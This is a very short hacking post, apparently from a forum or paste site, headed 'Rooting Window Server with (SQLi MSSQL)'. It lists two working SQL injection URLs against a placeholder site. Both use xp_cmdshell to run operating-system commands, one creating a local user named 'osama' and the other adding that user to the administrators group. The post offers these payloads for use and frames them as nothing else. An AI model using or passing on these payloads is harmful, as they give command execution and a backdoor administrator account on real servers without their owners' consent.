Rooting Window Server with (SQLi MSSQL)

Hello my friend here are the query's i have used :)


http://site.com?index.aspx?id=2'; exec master..xp_cmdshell'net user /add osama kr50172'-- -
http://site.com?index.aspx?id=2'; exec master..xp_cmdshell'net localgroup administrators osama /add'-- -